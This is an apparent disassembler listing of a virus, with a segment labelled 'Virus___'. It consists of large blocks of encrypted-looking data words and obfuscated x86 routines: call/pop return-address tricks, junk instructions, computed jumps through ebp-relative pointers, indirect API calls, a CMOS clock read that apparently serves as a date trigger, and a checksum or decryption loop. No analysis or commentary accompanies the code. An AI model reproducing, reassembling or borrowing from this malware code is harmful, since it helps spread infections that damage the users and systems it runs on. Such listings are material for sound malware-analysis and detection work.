		dd 99BD8944h, 8B071B11h, 0E9F8h, 0B58D0000h, 71F7A52h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C6C35242h
		dd 437DA318h, 1859B531h, 6A071Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 30C35141h, 8E9E2BA4h, 6203801h
		dd 26FD9D89h, 9D8B071Bh, 71B1749h, 128995FFh, 8166071Bh
		dd 0B96922EFh, 0FF5h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 19h, 83C35141h, 0CC8354E7h, 64F3816Ch, 832EEBEDh
		dd 6AFCE1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 5F2549C3h, 66F1539Dh, 0FC68DABBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 22C35040h, 75FCFA3h
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 5E4669C3h, 8950C584h, 1B25D9B5h, 0D22B5B07h
		dd 98D38060h, 9E6FBE51h, 615A477Ch, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	72C35242h, 0FDA4C207h, 4BD380A0h, 9E9h,	0D14FD300h
		dd 4DE6C418h, 80608036h, 0BD894BC4h, 71B014Dh, 880D61h
		dd 8BF90000h, 1B29B595h, 0E19D3307h, 8A071B32h,	0F58D8BDCh
		dd 66071B02h, 8DD1C381h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0FA8B5818h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0CEC35343h, 292A317Fh, 0CE8h,	3EB02800h
		dd 0E75C4002h, 0B51BE3A7h, 31BD89A1h, 5F071B12h, 16459D89h
		dd 0BD83071Bh, 71B2165h, 4C840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0C103C353h, 0AFC6F8Dh, 0F29C9C2h, 48Bh, 1CBB6600h, 0B898h
		dd 0BD8B0000h, 71B1841h, 4F898D8Dh, 0B70F071Bh,	0D98B66F8h
		dd 0C6BBE1FFh, 83021348h, 1B18CDBDh, 840F0007h,	4C5h, 18CDBD83h
		dd 0F01071Bh, 4D384h, 83FD8A00h, 1B18CDBDh, 860F0307h
		dd 48Eh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	70C35141h, 1DD4A7C2h, 0B9BCEDF9h, 9EBB6695h, 0D99D09E0h
		dd 60071B2Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	8FC35545h, 0EF42B6BEh, 1A8292E8h, 0D98C6672h, 6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 8B6DC352h, 839985Ah, 35D94156h, 840FC90Ah
		dd 165h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	90C35646h, 4F942D0h, 89BEF92Ch,	1B0A6585h, 11E807h
		dd 0DBC20000h, 7B71E680h, 0ADDB75F4h, 0F73CC4BEh, 6605EEE1h
		dd 8B5BDF8Bh, 1B30E585h, 68A0F07h, 89000000h, 1B23D99Dh
		dd 55853307h, 6A071B30h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0A52BC351h,	2CD23DDBh
		dd 4A1CDDAFh, 89F898B3h, 1B00B99Dh, 0BE609007h,	1028B1FEh
		dd 28C0Fh, 0D08B0000h, 52505061h, 0F525060h, 8B585A31h
		dd 310F61D7h, 12E9h, 0CFC89E00h, 0DCEF76AAh, 97738FF6h
		dd 5B395D25h, 5AF22A60h, 8B669058h, 13E9FBh, 0AA0F0000h
		dd 112F4736h, 2D6759A5h, 608AE520h, 0DA15E043h,	89006AB1h
		dd 1B16698Dh, 562F6807h, 0CE855A0h, 0BB000000h,	0B57315ABh
		dd 0B6417D69h, 0E94CE2F3h, 0Bh,	486C7DC2h, 7243AA2Ah, 5B21AB47h
		dd 0D0243481h, 6655BF55h, 95FFD98Bh, 71B04E9h, 10E9h, 0C3F8C700h
		dd 8666DDE9h, 4038B94h,	0A9B7C31Eh, 0C8858900h,	8B071EABh
		dd 1B059D9Dh, 1F5E907h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8160AAC3h, 0F97441D7h
		dd 0C0858B6Fh, 6A071EABh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 5E99C351h, 28C99589h
		dd 0C7071Bh, 18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	93C35545h, 0CF812089h, 421BE3DEh, 0ABC4B58Bh, 6A071Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 8A2970C3h, 0B1B891Ch, 895305ABh, 1B334995h, 858B5B07h
		dd 71B0149h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	98C35343h, 503C4F08h, 0B3D0196Fh, 6A0689B0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0EE2C353h, 0BF66DE2Fh, 858B531Fh, 71B30E5h, 45FA80BFh
		dd 446897Fh, 50DA8B66h,	0FE9h, 0AF4DA900h, 0F557E294h
		dd 939EF62Dh, 0F883E061h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 368AC357h
		dd 0D3E0D1E7h, 6561FE7Bh, 0FFDFB70Fh, 1EABC0B5h, 7768F807h
		dd 66BD01CFh, 481FE8Bh,	1D348824h, 50006A43h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 60F61735h
		dd 2EB19D31h, 858D071Bh, 71EABC8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0E2C35545h,	89820F36h, 1B1EB9BDh
		dd 5E99007h, 0C000000h,	17E6FEA6h, 4850F50h, 66000000h
		dd 9009DBBFh, 0FFC2F780h, 1B04E995h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 9A12F958h
		dd 81669491h, 6153B6C3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0D1C35747h, 26BEFFFEh, 0C981609Ah, 17DAAA23h
		dd 1BD58589h, 8B61071Bh, 1B041D9Dh, 559D8B07h, 0C7071B25h
		dd 1B18CD85h, 307h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 3B8C8C1h, 81106163h
		dd 0A27BD3D7h, 0F5B58950h, 83071B08h, 1EABC8BDh, 840F0007h
		dd 4Eh,	1E8D0Fh, 0E9600000h, 5,	0D7CC9CDEh, 0DE97Dh, 16C50000h
		dd 0E144331Dh, 0DD645BFDh, 61788433h, 0D8D0Fh, 8E90000h
		dd 0D3000000h, 0C9DF939Ch, 0E9F4F46Ch, 2Dh, 21599D89h
		dd 860F071Bh, 6, 1385BD89h, 3050071Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 78A57660h
		dd 473E6F9Fh, 0BD8B7B67h, 71B12DDh, 0C41DD781h,	0BD8362FBh
		dd 71B18CDh, 66850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6664C353h
		dd 0F066F381h, 0ABC8BD83h, 0F00071Eh, 43884h, 9E900h, 5DC0000h
		dd 2CB156B8h, 0FFC0DF14h, 1EABC8B5h, 0ECDF8007h, 9A595FFh
		dd 0B58B071Bh, 71EABBCh, 5800FF5h, 66000000h, 0CA2CDF81h
		dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B10F0C3h, 1B26659Dh, 0DEB70F07h
		dd 56525050h, 820Fh, 0F5F0000h,	5AFE8A31h, 24348958h, 6870Fh
		dd 9D890000h, 71B33A1h,	6880Fh,	9D8B0000h, 71B2C39h, 0ABC8B5FFh
		dd 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0FC6A65C3h, 8B43D077h, 5D25BBD8h,	85892D0Fh
		dd 71B0095h, 356195FFh,	11E8071Bh, 57000000h, 0D14D63CFh
		dd 0ADDC9C0Eh, 793A17E9h, 49B27413h, 6E9h, 0B7DD0000h
		dd 5F4D3A13h, 0ABBCB58Bh, 5E8071Eh, 42000000h, 0DD6FD429h
		dd 11858B5Bh, 8B071B04h, 0C48689F9h, 0BF000000h, 91C014Fh
		dd 0B5958BF9h, 6A071B29h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 7768C355h, 0E0A20CCh
		dd 30D41C87h, 0F98B6652h, 318D895Bh, 83071B23h,	6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CD974BC3h, 0D1BF368Eh, 89291CCDh, 6A2050h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 82A807C3h, 10E99048h, 31000000h, 0ED703EAEh,	5C7F438Dh
		dd 6E464F4h, 8DD2C4C4h,	1EBFF985h, 8E907h, 0D68F0000h
		dd 16FAEC5Dh, 8689C1A4h, 0B8h, 2A41BD8Bh, 6A071Bh, 0B2E38166h
		dd 0E9958948h, 0FF071B26h, 1EABC8B5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0D1B58991h, 57071B15h, 3401B589h, 0FF5B071Bh, 1B09DD95h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 890FF0E2h, 0
; ---------------------------------------------------------------------------
		push	eax
		mov	bh, 30h
		mov	[esp], esi
		push	0
		push	eax
		call	sub_58B5A1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B5A1	proc near		; CODE XREF: Virus___:0058B599p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58B5A1	endp

; ---------------------------------------------------------------------------
		db 0F2h, 0A3h, 9Fh
		dd 0A64BD1E0h, 0BD232733h, 71B05DDh, 0ABC8B5FFh, 0BD8B071Eh
		dd 71B1A99h, 21899D8Bh,	95FF071Bh, 71B0341h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ACC35141h, 0AC536221h
		dd 5C0D3FA9h, 31BD83E2h, 71B24h, 68840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D38B44C3h, 9B51F274h, 96F241A1h, 14E8h, 62CA9E00h
		dd 150069AEh, 0C96785FAh, 92FC9744h, 7BBD70EEh,	0CE9B0h
		dd 0FF5F0000h, 0F2AE769h, 0FC695236h, 505BD67Ch, 6880F56h
		dd 0F000000h, 81h, 52965F00h, 78F6FABBh, 0B5FF5F39h, 71EABC8h
		dd 0AB2BE7BBh, 0A595FF1Eh, 6A071B18h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6CC9C357h
		dd 2B559D8Bh, 0B5FF071Bh, 71EABC8h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 37C35040h, 0BF7D9F16h, 6A76F4h
		dd 293D95FFh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 49636BC3h, 9529027Fh, 71B3149h
		dd 28F1BD83h, 0F02071Bh, 6B84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 7D20953Fh
		dd 8D89AA32h, 71B22ADh,	7D858Bh, 8060071Bh, 958B61CEh
		dd 71B2B45h, 0C661h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E7C35747h, 0D24C13B1h, 360B365h, 1B185985h
		dd 0A99D8907h, 61071B16h, 99185C7h, 71Bh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8BA8C3h, 71B05B9h, 6FD70DBBh, 0F2ADE948h,	830FFFFFh
		dd 5, 33ECB0BFh, 6AC18B78h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 5A4DC357h, 1E336F8Ah
		dd 0E9FA8B70h, 20h, 23FDA445h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_58BD3E
; ---------------------------------------------------------------------------
		db 0A4h, 5Ah, 81h
		dd 4E836AE2h, 14C533BDh, 0A37EFD77h, 6FB04800h,	307BA2DCh
		dd 0FC7417C8h, 430DDE73h, 10D86BB6h, 0BC9033E4h, 6C16A19Ah
		dd 89A94C3h, 8C6DE7E4h,	965ED651h, 0A5FD14DFh, 0A77EFA6Ah
		dd 0A365D9FCh, 354D598Dh, 0EF0C0696h, 9FB76890h, 1B1512A0h
		dd 409C3ED3h, 0AD62CD76h, 8A75270Ah, 8DA3F92Bh,	0D58087AFh
		dd 0C17E935Bh, 0BC73A64Fh, 3DC6B944h, 439B2BE4h, 7AA754CCh
		dd 8873E9C5h, 0C8BCDE51h, 0AB6FF388h, 9344B06Bh, 5FA6A0F0h
		dd 0E39958Ah, 6C2EF306h, 4FC019E2h, 0DF69B077h,	0D848C71Ah
		dd 1145FA2Fh, 2F8671A3h, 0B38DA3F9h, 7ADA8CBBh,	0ED85F67h
		dd 421552C6h, 36CF33E5h, 0D3546C4Fh, 0A6459861h, 120DC62Eh
		dd 0A3B06973h, 73A3778Dh, 885C8EA9h, 5E0193h, 3FF50000h
		dd 622DE237h, 8DA36655h, 0BC895547h, 0D26D2623h, 0AAD0EC77h
		dd 9CE8F82h, 0C008481Eh, 93886327h, 166h, 363F4800h, 6BAF3BF3h
		dd 6EE4E3EEh, 0FB344C85h, 0F629FC09h, 11DA74A6h, 978453F8h
		dd 0EE048DA3h, 9C03739h, 2A1BE3CFh, 9788A06Ah, 0D40F478Bh
		dd 9D57F429h, 0C3EFBC51h, 29E63B3Fh, 241BCE37h,	0A960B060h
		dd 0CC52E51h, 0D86B8313h, 0FC33E410h, 0EA25F604h, 7922F17Ah
		dd 8DA3665Eh, 7FB0C8E2h, 27BB7685h, 0D21C770Fh,	858D82DAh
		dd 58680151h, 935C84CCh, 0FA9387C7h, 5Eh, 0E63B3FDCh, 18C13729h
		dd 9FF73B27h, 0B84B9464h, 45B5C830h, 8DCF4098h,	6655605Bh
		dd 0D9D58DA3h, 0C811E66Eh, 0FF12DD57h, 0F62BD040h, 5BBB6F39h
		dd 4EB0E202h, 0A3664295h, 7BACC68Dh, 7AA56FA7h,	159388A8h
		dd 2Dh,	0E63B3FF9h, 1FC23729h, 0B16893BDh, 8D4DBB76h, 0B16A8E45h
		dd 363FFC12h, 57652CE3h, 458DA366h, 0A05B81D1h,	0EF9388A5h
		dd 1, 0E0393FC3h, 14C9352Fh, 33F93E86h,	674667A3h, 0F5A1F5A0h
		dd 4B90669Dh, 5ECF48B8h, 0FFD80A7Ch, 8DA3F8D8h,	0CE419461h
		dd 0F82F47F4h, 0AECCFF29h, 9169E394h, 9C3D34Ch,	0A2F02FF2h
		dd 0FA7E088Ah, 392BE621h, 594B18CDh, 1710C92Fh,	559ED11Dh
		dd 0EB03D81Eh, 1E333C34h, 2EE30CC6h, 61761916h,	0DC94BF22h
		dd 0D040FF10h, 1D39F62Bh, 0DE90E929h, 3D0220BCh, 0BEF91AEh
		dd 0CF0A4A1Ch, 74A95027h, 39C58F5Ch, 0CD392BE4h, 0CE2D2718h
		dd 0D7241C13h, 0FB1F150Ah, 9444C29Bh, 679853Ch,	4F6651F0h
		dd 0D394BEB0h, 296B83DBh, 5DEEFFC7h, 40AE84B4h,	0BEECFCDBh
		dd 530C7C94h, 94BEEC84h, 51D6EE04h, 4DACA6F6h, 738C9790h
		dd 3A8C6D1Fh, 102h, 4B175A62h, 3114B581h, 0C047D8F6h, 0E6B46F2Dh
		dd 0E494AE6Ch, 17DF51CEh, 5FA721C2h, 0FB7E088Ah, 52D5E926h
		dd 1CDB75A7h, 22CA4AFDh, 0DE7236E9h, 9EB3BB76h,	8CD912CDh
		dd 41D48C6Dh, 86000000h, 7088BF47h, 1BC635AFh, 2FE6D1C3h
		dd 0B33C098Ah, 0E25484BBh, 0A3649E39h, 1F08220Dh, 0A3657144h
		dd 58B8600Dh, 0CAC85DD9h, 9892611h, 3E194BBCh, 8DA36597h
		dd 2514131Bh, 838B7A09h, 0E7000000h, 6F2DC047h,	0AE6DB6B4h
		dd 9C3E3494h, 202EB440h, 0D156BD9Ah, 9C22A1Ah, 1FF82A7Ah
		dd 94BEC1B8h, 74012238h, 0EC54F6ABh, 15E153D4h,	30D4FC0h
		dd 4BAF25F4h, 5ECE9196h, 0AD94BEE6h, 6EE256Dh, 49CE3ECDh
		dd 980DF6A4h, 5C9BDEE4h, 9F67D956h, 5381D54Ah, 0D5C60D8Bh
		dd 66A1E425h, 0F7160B0h, 0DEF38154h, 22E5018Dh,	7582CD4Ah
		dd 162EF306h, 2ACF8519h, 526A38F7h, 0F22E9740h,	0B8B294FEh
		dd 0C047C7EBh, 0FB46F2Dh, 0D394C364h, 0EC64DBh,	0A09BCDCFh
		dd 94C36C15h, 8FAE9995h, 0B14639C5h, 0C71FB768h, 0C42E8948h
		dd 6F8B7807h, 78837DB2h, 5EF26EA1h, 1F599F6h, 39D21AD1h
		dd 631AE26Ah, 61334B96h, 54CB1EE7h, 1202C97Eh, 0D3FB34E5h
		dd 0AAA73F61h, 0EEA13046h, 6CA1341Fh, 7F21B1A0h, 0A06D3184h
		dd 9DB5B1B1h, 659CF4AAh, 0F5A74499h, 6CFDD883h,	717DB1A0h
		dd 6D5D7823h, 0D1DDB1A0h, 0FD16DE56h, 4B1C07DFh, 6AEC2A8Ah
		dd 0ACA6F6BDh, 13C62F4Eh, 0B96E861Ch, 0DCEh, 0B36CDE00h
		dd 0B1A0D724h, 31998EA4h, 353FF10Dh, 0C531231Ch, 0D4251F10h
		dd 0D51E1609h, 0E911033Ch, 0F109FB34h, 0FA01F32Ch, 8278E827h
		dd 876EE659h, 53D3DD52h, 0C381E389h, 4,	4EB81h,	1C870000h
		dd 0C895C24h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 53241489h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 0BB53240Ch
		dd 52FC5096h, 0CF38143h, 8955DC56h, 241C8BDAh, 8304C483h
		dd 248904ECh, 24048124h, 4, 8BB5359h, 1000000h,	2C8152CBh
		dd 0E2A7D24h, 81038F02h, 0E2A7D03h, 0C8B5B02h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------


loc_58BD3E:				; CODE XREF: Virus___:0058B800j
		mov	eax, 7200B2Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0A1h
		dd 463821AAh, 4650883Ah, 0ED7E940Dh, 131970A6h,	6871BAF3h
		dd 0C7450DFAh, 0AF0B23B6h, 4E156A81h, 69780DA8h, 0E010E40Ah
		dd 3B399234h, 0AD14E6E2h, 9E62D9A7h, 582810BEh,	2224C20Bh
		dd 0BD748F63h, 2511F3E2h, 4B1B9475h, 0AA65B8C3h, 1A38F690h
		dd 8A34E9EDh, 2F38D0CDh, 0DA1A1BB8h, 236E30BCh,	8D60FFA4h
		dd 1B125585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 4C995160h, 0FEE8AB70h, 19BD8BB0h
		dd 90071B19h, 2810Fh, 0EAB70000h, 78B06050h, 9061FE8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 7AC35040h
		dd 3CCF6A96h, 999D8BD0h, 0F071B29h, 0C8Ch, 6830F00h, 0F000000h
		dd 8Fh,	2B006A00h, 1B27ADBDh, 0A65ABB07h, 6A32CFh, 0DC5BD03h
		dd 858D071Bh, 7200EA3h,	0E1BD0B60h, 8B071B1Ah, 0C08361D1h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 2B7F681Bh, 4766FC6Bh, 799D2B9Fh,	80071B32h
		dd 66503CCFh, 89DAE0BBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0CCC7AFC3h, 6AF98Bh
		dd 6AF9BF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8589E474h, 71B28A5h, 1EA995FFh, 6A071Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0DAF7AFC3h, 0F595621Bh, 3521BD33h, 8D8D071Bh, 71E979Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8AC35242h
		dd 7B110D12h, 6AD1FF54h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0BCD3C357h,	8D0Fh
		dd 0BD830000h, 71B2105h, 0BA850F01h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0EB9BC353h, 0B5A4BAD2h, 3F925FF4h, 1FD48060h, 6870Fh
		dd 0B5890000h, 71B2845h, 8FEB8161h, 6A4BFCE4h, 51006A02h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0EA90F9F6h, 7D8D2948h, 50071B22h, 489F88Bh, 11E824h
		dd 6A5F0000h, 131A6DCEh, 4B9213EFh, 0BDD5BB69h,	0E99D700Eh
		dd 9, 8D40D9B2h, 38B4E9F8h, 95FF5F1Dh, 71B09DDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 8A31DF0Bh
		dd 0E818C0BFh, 0D62E934h, 0E80000h, 5D000000h, 0EADED81h
		dd 8B660720h, 53006AFAh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 46A186EDh, 6813ED46h, 9202858Dh
		dd 6A071Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E9495EC3h, 10h, 2EA405A0h, 8832DB04h, 4A5F5C58h
		dd 926A5B5Bh, 0F75BF50h, 4896E16h, 0DEB70F24h, 35FF64h
		dd 0B7000000h, 25896403h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58C0A3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C0A3	proc near		; CODE XREF: Virus___:0058C09Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58C0A3	endp

; ---------------------------------------------------------------------------
		cmp	[ebx-30AD2B0Ah], esi
		mov	ebx, esi
		mov	bx, di
		sub	ebx, 7B2BA243h
		inc	dword ptr [ebp+71B264Dh]
		mov	di, cx
		push	0FFFFFFFFh
		mov	edi, [ebp+71B12E5h]
		push	dword ptr [ebp+71B18E9h]
		mov	[ebp+71B012Dh],	edi
		call	dword ptr [ebp+71B2F45h]
		jmp	loc_58C23C
; ---------------------------------------------------------------------------
		jmp	loc_58C104
; ---------------------------------------------------------------------------
		db 63h,	12h, 4Ch
		dd 6DDEA323h, 0FD29DD2Ah, 0C092E6D3h, 4FB6B59Eh
; ---------------------------------------------------------------------------


loc_58C104:				; CODE XREF: Virus___:0058C0ECj
		mov	bx, 3652h
		mov	al, 0
		sbb	di, 0F4B4h
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	[ebp+71B27F9h],	ecx
		in	al, 71h		; CMOS Memory
		xor	[ebp+71B0A31h],	edx
		add	[ebp+71B1FCDh],	esi
		cmp	al, 61h
		jnb	loc_58C23C
		jge	loc_58C139
		or	[ebp+71B2831h],	edi


loc_58C139:				; CODE XREF: Virus___:0058C12Dj
		movzx	ecx, al
		mov	edx, 6
		mov	[ebp+71B1B6Dh],	eax
		mov	eax, ecx
		shr	eax, 4
		mov	[ebp+71B35DDh],	esi
		push	ecx
		and	bl, 18h
		pop	ebx
		mul	dx
		or	[ebp+71B0D9Dh],	esi
		jl	loc_58C169
		mov	di, cx


loc_58C169:				; CODE XREF: Virus___:0058C160j
		sub	ecx, eax
		movzx	ebx, dx
		mov	edx, ecx
		mov	bx, 0F5B3h
		jmp	loc_58C23C
; ---------------------------------------------------------------------------
		db 0E8h, 0Eh, 0
		dd 115F0000h, 0FB36F675h, 28350AE1h, 7A13F7AEh,	14E960h
		dd 1A270000h, 12863CE5h, 2B5DCF71h, 93592911h, 0D05E3A6Ah
		dd 810F0960h, 0
; ---------------------------------------------------------------------------
		popa
		pop	ebx
		mov	eax, [ebp+505F4C4Ch]
		mov	edi, [ebp+71B3379h]
		add	eax, 7
		jg	$+6
		add	eax, 0
		mov	ebx, edi
		cmp	edx, eax
		jnb	loc_58C203
		mov	ebx, [ebp+71B1BA5h]
		jmp	loc_58C23C
; ---------------------------------------------------------------------------
		db 31h
		dd 1B1A8DB5h, 12E807h, 0A73A0000h, 9F91279Ch, 0F14C48CEh
		dd 0CCE47AD3h, 6AFE421Fh, 2CC08160h, 8B2378AAh
; ---------------------------------------------------------------------------
		stc
		popa
		pop	ebx


loc_58C203:				; CODE XREF: Virus___:0058C1CAj
		mov	ecx, [ebp-1]
		mov	edi, 1AC745Ch
		and	ecx, 1
		jz	loc_58C23C
		cld
		and	dword ptr [ebp-1], 0FFFFFFFEh
		add	[ebp+71B310Dh],	esi
		mov	[ebp+505F4C4Ch], edx
		jnb	loc_58C237
		sub	[ebp+71B0905h],	edx


loc_58C237:				; CODE XREF: Virus___:0058C22Bj
		jmp	$+5


loc_58C23C:				; CODE XREF: Virus___:0058C0E7j
					; Virus___:0058C127j ...
		lea	esi, [ebp+71F8A47h]
		push	0
		push	edx
		call	sub_58C24D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C24D	proc near		; CODE XREF: Virus___:0058C245p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58C24D	endp

; ---------------------------------------------------------------------------
aZuhOqorlabJ	db 'ZîhØoQŽR‹',0Bh,1Bh,7,'j',0
; ---------------------------------------------------------------------------
		jmp	loc_58C27F
; ---------------------------------------------------------------------------
		dw 6D31h
		dd 9FB9D6D3h, 12945FA6h
; ---------------------------------------------------------------------------
		cmpsd
		and	al, 91h


loc_58C27F:				; CODE XREF: Virus___:0058C26Dj
		call	dword ptr [ebp+71B1289h]
		mov	[ebp+71B18EDh],	ebx
		mov	ecx, 1119h
		sub	edi, 339DF0F2h
		and	ecx, 0FFFFFFFCh
		push	0
		push	esi
		call	sub_58C2A4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C2A4	proc near		; CODE XREF: Virus___:0058C29Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58C2A4	endp

; ---------------------------------------------------------------------------
		dd 0FCC71FF7h, 0B8DABF0Fh, 0
; ---------------------------------------------------------------------------
		movsx	edi, dx
		sub	edx, edx
		push	0
		push	ecx
		call	sub_58C2D0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C2D0	proc near		; CODE XREF: Virus___:0058C2C8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58C2D0	endp

; ---------------------------------------------------------------------------
		and	al, [edx-7DAB97F6h]
		mov	[ebp+71B1445h],	ecx


loc_58C2EC:				; CODE XREF: Virus___:0058C2F6j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58C2EC
		clc
		movzx	ebx, cx
		or	eax, 88h
		xor	bx, 6C7Ah
		mov	edx, [ebp+71B29B5h]
		mov	[ebp+71B22C5h],	esi
		mov	ecx, [ebp+71B02F5h]
		push	0
		push	ecx
		call	sub_58C323
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C323	proc near		; CODE XREF: Virus___:0058C31Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58C323	endp

